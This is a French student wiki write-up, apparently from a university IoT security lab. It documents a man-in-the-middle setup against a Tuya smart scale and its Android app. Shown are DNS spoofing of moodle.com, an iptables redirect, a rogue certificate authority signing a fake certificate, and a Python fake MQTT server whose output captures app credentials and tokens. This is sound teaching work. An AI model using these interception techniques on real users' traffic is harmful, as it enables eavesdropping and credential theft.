read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 00   ...:..BAohBAohb.&lt;br /&gt;
0010 - 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 00 00 00 00-00 00 00 00 00 00 00 00   d6aG............&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10920</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10920"/>
		<updated>2025-12-11T16:10:21Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Redirection du poids vers notre serveur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
